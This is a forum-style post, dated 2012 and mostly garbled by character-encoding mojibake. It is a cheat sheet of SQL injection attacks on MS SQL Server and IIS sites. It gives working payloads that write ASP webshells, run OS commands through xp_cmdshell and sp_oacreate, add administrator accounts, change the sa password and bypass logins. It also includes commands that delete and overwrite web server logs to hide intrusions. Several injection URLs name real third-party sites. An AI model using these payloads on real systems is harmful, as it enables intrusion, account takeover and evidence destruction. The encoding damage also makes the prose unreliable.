admin ·¢±íÓÚ 2012-9-15 14:33:30

SQL×¢ÈëÓï¾ä

1¡¢ÓÃ^תÒå×Ö·ûÀ´Ð´ASP(Ò»¾ä»°Ä¾Âí)ÎļþµÄ·½·¨:

http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--

echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

2¡¢ÏÔʾSQLϵͳ°æ±¾£º
http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--


3¡¢ÔÚSQLÓïÑÔÖпÉÒÔʹÓá°in¡±¹Ø¼ü×Ö½øÐвéѯ£¬ÀýÈç¡°select * from mytable where id in(1)¡±£¬À¨ºÅÖеÄÖµ¾ÍÊÇÎÒÃÇÌá½»µÄÊý¾Ý£¬ËüµÄ½á¹ûÓëʹÓá°select * from mytable where id=1¡±µÄ²éѯ½á¹ûÍêÈ«Ïàͬ¡£ËùÒÔ·ÃÎÊÒ³ÃæµÄʱºòÔÚURLºóÃæ¼ÓÉÏ¡°) and 1=1 and 1 in(1¡±ºóÔ­À´µÄSQLÓï¾ä¾Í±ä³ÉÁË¡°select * from mytable where id in(1) and 1=1 and 1 in(1)¡±£¬ÕâÑù¾Í»á³öÏÖÆÚ´ýÒѾõÄÒ³ÃæÁË¡£ÔÝÇҾͽÐÕâÖÖÀàÐ͵Ä©¶´Îª¡°°üº¬Êý×ÖÐÍ¡±°É£¬´ÏÃ÷µÄÄãÒ»¶¨Ïëµ½ÁË»¹ÓС°°üº¬×Ö·ûÐÍ¡±ÄØ¡£¶ÔÁË£¬Ëü¾ÍÊÇÓÉÓÚÀàËÆ¡°select * from mytable where name in('firstsee')¡±µÄ²éѯÓï¾äÔì³ÉµÄ¡£

4¡¢ÅжÏxp_cmdshellÀ©Õ¹´æ´¢¹ý³ÌÊÇ·ñ´æÔÚ£º
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')

5¡¢»Ö¸´xp_cmdshellÀ©Õ¹´æ´¢µÄÃüÁ

http://www.test.com/news/show1.asp?NewsId=125272;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--

6¡¢ÏòÆô¶¯×éÖÐдÈëÃüÁîÐкÍÖ´ÐгÌÐò£º

http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'


7¡¢²é¿´µ±Ç°µÄÊý¾Ý¿âÃû³Æ£º

http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n¸Ä³É0,1,2,3¡­¡­¾Í¿ÉÒÔ¿ç¿âÁË

http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--


8¡¢Áгöµ±Ç°ËùÓеÄÊý¾Ý¿âÃû³Æ£º

select * from master.dbo.sysdatabases   ÁгöËùÓÐÁеļǼ

select name from master.dbo.sysdatabases ½öÁгönameÁеļǼ

[»ñȡȫ²¿Êý¾Ý¿âÃû]
select name from master.dbo.sysdatabases where dbid=7 //dbidµÄֵΪ7ÒÔÉ϶¼ÊÇÓû§Êý¾Ý¿â


[»ñµÃÊý¾Ý±íÃû][½«×Ö¶ÎÖµ¸üÐÂΪ±íÃû£¬ÔÙÏë·¨¶Á³öÕâ¸ö×ֶεÄÖµ¾Í¿ÉµÃµ½±íÃû]
select top 1 name from Êý¾Ý¿âÃû.dbo.sysobjects where xtype='u' and status>0 and name not in('table')


[»ñµÃÊý¾Ý±í×Ö¶ÎÃû][½«×Ö¶ÎÖµ¸üÐÂΪ×Ö¶ÎÃû£¬ÔÙÏë·¨¶Á³öÕâ¸ö×ֶεÄÖµ¾Í¿ÉµÃµ½×Ö¶ÎÃû]
select top 1 Êý¾Ý¿âÃû.dbo.col_name(object_id('Òª²éѯµÄÊý¾Ý±íÃû'),×Ö¶ÎÁÐÈç:1) [ where Ìõ¼þ]


9¡¢²»Ðèxp_cmdshellÖ§³ÖÔÚÓÐ×¢Èë©¶´µÄSQL·þÎñÆ÷ÉÏÔËÐÐCMDÃüÁ
------------------------------------------------------------------------£¨Óï¾ä½âÊÍ£©
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--×¢ÒârunµÄ²ÎÊýtrueÖ¸µÄÊǽ«µÈ´ý³ÌÐòÔËÐеĽá¹û£¬¶ÔÓÚÀàËÆpingµÄ³¤Ê±¼äÃüÁî±ØÐèʹÓô˲ÎÊý¡£

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--ÒòΪfsoµÄopentextfile·½·¨½«·µ»ØÒ»¸ötextstream¶ÔÏó£¬ËùÒÔ´Ëʱ@fileÊÇÒ»¸ö¶ÔÏóÁîÅÆ

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

drop TABLE MYTMP

-------------------------------------------------------------------------(Óï¾äÈçÏ£©
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

10¡¢ÒÔÏÂÊÇÒ»ÐÐÀïÃæ½«WEBÓû§¼Óµ½¹ÜÀíÔ±×éÖУº
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

11¡¢ÒÔÏÂÊÇÒ»ÐÐÖÐÖ´ÐÐEXE³ÌÐò£º
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

12¡¢SQLÏÂÈýÖÖÖ´ÐÐCMDÃüÁîµÄ·½·¨£º

ÏÈɾ³ý7.18ºÅÈÕÖ¾£º
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)Ê×ÏÈ¿ªÆôjetɳÅÌģʽ£¬Í¨¹ýÀ©Õ¹´æ´¢¹ý³Ìxp_regwriteÐÞ¸Ä×¢²á±íʵÏÖ£¬¹ÜÀíÔ±ÐÞ¸Ä×¢²á±í²»ÄÜÔ¤·ÀµÄÔ­Òò¡£³öÓÚ°²È«Ô­Òò£¬Ä¬ÈÏɳÅÌģʽ먦Æô£¬Õâ¾ÍÊÇΪʲôÐèÒªxp_regwriteµÄÔ­Òò£¬¶øxp_regwriteÖÁÉÙÐèÒªDB_OWNERȨÏÞ£¬ÎªÁË·½±ã£¬ÕâÀィÒéʹÓÃsysadminȨÏÞ²âÊÔ£º
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
×¢£º
0   ½ûÖ¹Ò»ÇУ¨Ä¬ÈÏ£©
1   Ê¹ÄÜ·ÃÎÊACCESS£¬µ«ÊǽûÖ¹ÆäËü
2   ½ûÖ¹·ÃÎÊACCESS£¬µ«ÊÇʹÄÜÆäËû
3   Ê¹ÄÜÒ»ÇÐ

ÕâÀï½ö¸ø³ösysadminȨÏÞÏÂʹÓõÄÃüÁ
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')


½¨Á¢Á´½ÓÊý¾Ý¿â'L0op8ack'²Î¿¼ÃüÁ
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'

13¡¢ÈçºÎʹÓÃÁ´½ÓÊý¾Ý¿â£º

ʹÓÃÕâ¸ö·½Ê½¿ÉÒÔÖ´ÐУ¬µ«ÊǺܲ»ÐÒ£¬DB_OWNERȨÏÞÊDz»¹»µÄ£¬ÐèÒªÖÁÉÙsysadminȨÏÞ»òÕßsecurityadmin+setupadminȨÏÞ×éºÏ
sp_addlinkedserverÐèÒªsysadmin»òsetupadminȨÏÞ
sp_addlinkedsrvloginÐèÒªsysadmin»òsecurityadminȨÏÞ
×îÖÕ·¢ÏÖ£¬»¹ÊÇsaȨÏÞ»òÕßsetupadmin+securityadminȨÏÞÕÊ»§²ÅÄÜʹÓã¬
Ò»°ãûÓÐÄĸö¹ÜÀíÔ±ÕâôÉèÖÃÆÕͨÕÊ»§È¨ÏÞµÄ

ʵÓÃÐÔ²»Ç¿£¬½ö×÷Ϊһ¸öѧϰ×ܽá°É

´óÖ¹ý³ÌÈçÏ£¬Èç¹û²»ÊÇsysadmin£¬ÄÇôIAS.mdbȨÏÞÑéÖ¤»á³ö´í£¬
ÎÒ²âÊÔµÄʱºòÊÚÓèhackerÕâ¸öÓû§setupadmin+securityadminȨÏÞ£¬Ê¹ÓÃias.mdbʧ°Ü
ÐèÒªÕÒÒ»¸öÒ»°ãÓû§¿É·ÃÎʵÄmdb²Å¿ÉÒÔ£º

н¨Á´½Ó·þÎñÆ÷¡±L0op8ack¡±:   EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
exec sp_addlinkedsrvlogin 'L0op8ack','false';--»ò
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
select * FROM OPENQUERY(L0op8ack, 'select shell("cmd.exe /c net user")');--
exec sp_droplinkedsrvlogin 'L0op8ack','false';--
exec sp_dropserver 'L0op8ack';--

ÔÙ¿¼±´Ò»¸öÆäËüÎļþÀ´´úÌæ7.18ÈÕÎļþ£º
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

14¡¢ÓÃupdateÀ´¸üбíÖеÄÊý¾Ý£º

HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--

wwwÓû§ÃÜÂëµÄ16λMD5ֵΪ£ºa0b923820dcc509a£¬¼´°ÑÃÜÂë¸Ä³É1£»
32λMD5ֵΪ£º   £¬ÃÜÂëΪ

15¡¢ÀûÓñíÄÚÈݵ¼³ÉÎļþ¹¦ÄÜ
SQLÓÐBCPÃüÁËü¿ÉÒ԰ѱíµÄÄÚÈݵ¼³ÉÎı¾Îļþ²¢·Åµ½Ö¸¶¨Î»Öá£ÀûÓÃÕâÏÄÜ£¬ÎÒÃÇ¿ÉÒÔÏȽ¨Ò»ÕÅÁÙʱ±í£¬È»ºóÔÚ±íÖÐÒ»ÐÐÒ»ÐеØÊäÈëÒ»¸öASPľÂí£¬È»ºóÓÃBCPÃüÁîµ¼³öÐγÉASPÎļþ¡£
ÃüÁîÐиñʽÈçÏ£º
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp ¨Cc ¨CS localhost ¨CU sa ¨CP upload('S'²ÎÊýΪִÐвéѯµÄ·þÎñÆ÷£¬'U'²ÎÊýΪÓû§Ãû£¬'P'²ÎÊýΪÃÜÂ룬×îÖÕÉÏ´«ÁËÒ»¸öruncommand.aspµÄľÂí)¡£

16¡¢´´½¨±í¡¢²¥ÈëÊý¾ÝºÍ¶ÁÈ¡Êý¾ÝµÄ·½·¨
´´½¨±í£º
' and 1=1 union select 1,2,3,4;create table .((255))--
Íù±íÀï²¥ÈëÊý¾Ý£º
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
´Ó±íÀï¶ÁÈ¡Êý¾Ý£º
' and 1=(select count(*) from cyfd where gyfd >1)--

ɾ³ýÁÙʱ±í£º
';drop table cyfd;--

16¡¢Í¨¹ýSQLÓï¾äÖ±½Ó¸ü¸ÄsaµÄÃÜÂ룺
update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,ÕâÑùsaµÄÃÜÂë¾Í±»ÎÒÃǸijÉÁË111111À­¡£ºÇºÇ£¬½â¾öµÄ·½·¨¾ÍÊǰÑsa¸øÉ¾À­¡££¬Ôõôɾ¿ÉÒԲο¼Îҵġ¶Íêȫɾ³ýsaÕâ¸öºóÃÅ¡·¡£

17¡¢ ²é¿´±¾»úËùÓеÄÊý¾Ý¿âÓû§Ãû£º
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins

19¡¢ ¸ü¸Äsa¿ÚÁî·½·¨£ºÓÃsql×ÛºÏÀûÓù¤¾ßÁ¬½Óºó£¬Ö´ÐÐÃüÁ
exec sp_password NULL,'ÐÂÃÜÂë','sa'

20¡¢²éѯdvbbs¿âÖÐËùÓеıíÃûºÍ±í½á¹¹£º
select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
select * from dvbbs.dbo.syscolumns where id=1426104121

21¡¢ÊÖ¹¤±¸·Ýµ±Ç°Êý¾Ý¿â£º
ÍêÈ«±¸·Ý£º
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
²îÒ챸·Ý£º
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT¡ª

22¡¢Ìí¼ÓºÍɾ³ýÒ»¸öSAȨÏÞµÄÓû§test£º
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

cmd.exe /c isql -E /U alma /P /i K:\test.qry

23¡¢Áгö¿âChouYFDÖÐËùÓеÄÓû§½¨Á¢µÄ±íÃû¡£
select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0

select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0

24¡¢Áгördweb¿âÖÐËùÓбíÖеÄ×Ö¶ÎÃû³Æ
http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns £¨where id=1234£©

select * from dvbbs.dbo.syscolumns where id=5575058
Áгö¿âdvbbsÖбíid=5575058µÄËùÓÐ×Ö¶ÎÃû

25¡¢É¾³ý¼Ç¼ÃüÁdelete from Dv_topic where boardid=5 and topicid=7978

26¡¢ÈƹýµÇ¼ÑéÖ¤½øÈëºǫ́µÄ·½·¨ÕûÀí£º
1) ' or''='
2) ' or 1=1--
3) ' or 'a'='a--
4) 'or'='or'
5) " or 1=1--
6£©or 1=1--
7£© or 'a='a
8£©" or "a"="a
9£© ') or ('a'='a
10£© ") or ("a"="a
11£© £© or (1=1
12) 'or''='
13) ÈËÆø%' and 1=1 and '%'='

27¡¢Ñ°ÕÒÍøÕ¾Â·¾¶µÄ·½·¨»ã×Ü£º
1£©²é¿´WEBÍøÕ¾°²×°Ä¿Â¼ÃüÁ
cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt £¨½«2»»³É1¡¢3¡¢4¡¢5ÊÔÊÔ£©
type c:\test1.txt
del c:\test1.txt
ÔÚNBSIÏ¿ÉÒÔÖ±½ÓÏÔʾÔËÐнá¹û£¬ËùÒÔ²»Óõ¼³öµ½Îļþ

2£©ÔÚÍøÕ¾ÉÏËæ±ãÕÒµ½Ò»¸öͼƬµÄÃû×Ö 123.jpg
È»ºóд½øÅú´¦Àí³ÌÐò123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt

Ö´Ðкó type c:\123.txt
ÕâÑùÀ´·ÖÎöÍøÕ¾µÄ·¾¶

3£©SQL·þÎñÆ÷ºÍÍøÕ¾·þÎñÆ÷ÔÚͬһ¸ö·þÎñÆ÷ÉÏ£¬ºÃÁËÊÇ¿ÉÒÔÖ´ÐÐÃüÁîÊǰɣ¿
½«Ö´ÐÐÃüÁîÊä³ö½á¹ûµ½
%windir%\help\iishelp\common\404b.htm»òÕß500.asp
×¢ÒâÊä³öǰBackupÕâÁ½¸öÎļþ
È磺
dir c:\ >%windir%\help\iishelp\common\404b.htm
È»ºóËæ±ãÊäÈëÒ»¸öÎļþÀ´·ÃÎÊ£ºhttp://Ä¿±êip/2.asp

4£©Õë¶Ôwin2000ϵͳ£ºxp_regread¶ÁÈ¡HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots »ñÈ¡WEB·¾¶
2003ϵͳ£ºxp_regread¶ÁÈ¡£¬Î´ÕÒµ½·½·¨
È磺
£¨1£©   Ð½¨Ò»¸ö±ícyfd(×Ö¶ÎΪgyfd)£ºhttp://www.cnwill.com/NewsShow.aspx?id=4844;create table .((255))--
£¨2£©   °Ñweb·¾¶Ð´½øÈ¥:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
£¨3£©   »¹ÊÇÈÃËû²»Æ¥Å䣬ÏÔʾ´íÎó:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: ½« varchar Öµ 'Y:\Web\ÑĮ̀È˲ÅÈÈÏߺǫ́¹ÜÀíϵͳ,,201 ' ת»»ÎªÊý¾ÝÀàÐÍΪ int µÄÁÐʱ·¢ÉúÓï·¨´íÎó¡£
TargeSite: Boolean Read() ¹þ¹þ¹þ¡£¡£Â·¾¶±©Â¶ÁË¡£¡£
£¨4£©½ÓÏÂÀ´É¾³ý±í:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--

5£©ÓÃregeditÃüÁîµ¼³ö×¢²á±í£¬½«µ¼³öµÄ½á¹û±£´æµÄ·¾¶µ½%windir%\help\iishelp\common\404b.htm»òÕß500.aspÒ³Ãæ
regeditÃüÁî˵Ã÷£º
Regedit /L:system /R:user /E filename.reg Regpath
²ÎÊýº¬Ò壺
/L£ºsystemÖ¸¶¨System.datÎļþËùÔڵķ¾¶¡£
/R£ºuserÖ¸¶¨User.datÎļþËùÔڵķ¾¶¡£
/E£º´Ë²ÎÊýÖ¸¶¨×¢²á±í±à¼­Æ÷Òª½øÐе¼³ö×¢²á±í²Ù×÷£¬Ôڴ˲ÎÊýºóÃæ¿ÕÒ»¸ñ£¬ÊäÈëµ¼³ö×¢²á±íµÄÎļþÃû¡£
Regpath£ºÓÃÀ´Ö¸¶¨Òªµ¼³öÄĸö×¢²á±íµÄ·ÖÖ§£¬Èç¹û²»Ö¸¶¨£¬Ôò½«µ¼³öÈ«²¿×¢²á±í·ÖÖ§¡£ÔÚÕâЩ²ÎÊýÖУ¬"/L£ºsystem"ºÍ"/R£ºuser"²ÎÊýÊÇ¿ÉÑ¡ÏÈç¹û²»Ê¹ÓÃÕâÁ½¸ö²ÎÊý£¬×¢²á±í±à¼­Æ÷ÔòÈÏΪÊǶÔWINDOWSĿ¼ÏµÄ"system.dat"ºÍ"user.dat"Îļþ½øÐвÙ×÷¡£Èç¹ûÊÇͨ¹ý´ÓÈíÅÌÆô¶¯²¢½øÈëDOS£¬ÄÇô¾Í±ØÐëʹÓÃ"/L"ºÍ"/R"²ÎÊýÀ´Ö¸¶¨"system.dat"ºÍ"user.dat"ÎļþµÄ¾ßÌå·¾¶£¬·ñÔò×¢²á±í±à¼­Æ÷½«ÎÞ·¨ÕÒµ½ËüÃÇ¡£±ÈÈç˵£¬Èç¹ûͨ¹ýÆô¶¯Å̽øÈëDOS£¬Ôò±¸·Ý×¢²á±íµÄÃüÁîÊÇ"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",¸ÃÃüÁîµÄÒâ˼ÊǰÑÕû¸ö×¢²á±í±¸·Ýµ½WINDOWSĿ¼Ï£¬ÆäÎļþÃûΪ"regedit.reg"¡£¶øÈç¹ûÊäÈëµÄÊÇ"regedit /E D:\regedit.reg"ÕâÌõÃüÁÔòÊÇ˵°ÑÕû¸ö×¢²á±í±¸·Ýµ½DÅ̵ĸùĿ¼Ï£¨Ê¡ÂÔÁË"/L"ºÍ"/R"²ÎÊý£©£¬ÆäÎļþÃûΪ"Regedit.reg"¡£

regedit /s c:\adam.reg £¨µ¼Èëc:\adam.regÎļþÖÁ×¢²á±í£©
regedit /e c:\web.reg £¨±¸·ÝÈ«²¿×¢²áÄÚÈݵ½c:\web.regÖУ©
Õë¶Ôwin2000ϵͳ£ºC:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
È»ºóhttp://Ä¿±êIP/2.asp
Õë¶Ôwin2003ϵͳ£ºÃ»ÓÐÕÒµ½£¬Ï£ÍûÕÒµ½µÄÅóÓѹ«²¼³öÀ´Ò»ÆðÌÖÂÛ¡£

6£©ÐéÄâÖ÷»úÏÂ%SystemRoot%\system32\inetsrv\MetaBack\ϵÄÎļþÊÇiisµÄ±¸·ÝÎļþ£¬ÊÇÔÊÐíwebÓû§·ÃÎʵģ¬Èç¹ûÄãµÄiis±¸·Ýµ½ÕâÀÓÃwebshellÏÂÔØÏÂÀ´ºóÓüÇʱ¾´ò¿ª£¬¿ÉÒÔ»ñÈ¡¶ÔÓ¦µÄÓòÃûºÍweb¾ø¶Ô·¾¶¡£

7£©SQL×¢È뽨Á¢ÐéÄâĿ¼£¬ÓÐdboȨÏÞÏÂÕÒ²»µ½web¾ø¶Ô·¾¶µÄÒ»ÖÖ½â¾ö°ì·¨£º
ÎÒÃǺܶàÇé¿ö϶¼Óöµ½SQL×¢Èë¿ÉÒÔÁÐĿ¼ºÍÔËÐÐÃüÁµ«ÊÇÈ´ºÜ²»ÈÝÒ×ÕÒµ½webËùÔÚĿ¼£¬Ò²¾Í²»ºÃµÃµ½Ò»¸öwebshell£¬ÕâÒ»Õв»´í£º
?   ½¨Á¢ÐéÄâĿ¼win,Ö¸Ïòc:\winnt\system32£ºexec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
?   ÈÃwinĿ¼¾ßÓнâÎöasp½Å±¾È¨ÏÞ£ºexec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" ¨Cs:'
?   É¾³ýÐéÄâĿ¼win£ºexec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
?   ²âÊÔ£ºhttp://127.0.0.1/win/test.asp
8£©ÀûÓÃSQLÓï¾äÀ´²éÕÒWEBĿ¼£º¸ù¾Ý¾­Ñ飬²ÂÒÉWEB¸ùĿ¼µÄ˳ÐòÊÇ£ºdÅÌ¡¢eÅÌ¡¢cÅÌ£¬Ê×ÏÈÎÒÃǽ¨Á¢Ò»¸öÁÙʱ±íÓÃÓÚ´æ·Åmaster..xp_dirtree(ÊʺÏÓÚpublic)Éú³ÉµÄĿ¼Ê÷,ÓÃÒÔÏÂÓï¾ä£º
;create table temp(dir nvarchar(255),depth varchar(255));--,¸Ã±íµÄdir×ֶαíʾĿ¼µÄÃû³Æ£¬depth×ֶαíʾĿ¼µÄÉî¶È¡£È»ºóÖ´ÐÐxp_dirtree»ñµÃDÅ̵ÄĿ¼Ê÷£¬Óï¾äÈçÏ£º
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

ÔÚ½øÐÐÏÂÃæµÄ²Ù×÷ǰ£¬ÏȲ鿴DÅÌÓм¸¸öÎļþ¼Ð£¬ÕâÑù¶ÔDÅÌÓиö´óÖµÄÁ˽⣬Óï¾äÈçÏ£º
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM ¾í'))>=Êý×Ö(Êý×Ö=0¡¢1¡¢2¡¢3...)

½Ó×Å£¬ÎÒÃÇÔÚ¶Ô·½µÄÍøÕ¾ÉÏÕÒ¼¸¸öÒ»¼¶×ÓĿ¼£¬Èçuser¡¢photo£¬È»ºó£¬ÓÃɸѡµÄ·½·¨À´ÅжÏWEB¸ùĿ¼ÉÏÊÇ·ñ´æÔÚ´ËÅÌÉÏ£¬Óï¾äÈçÏ£º
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

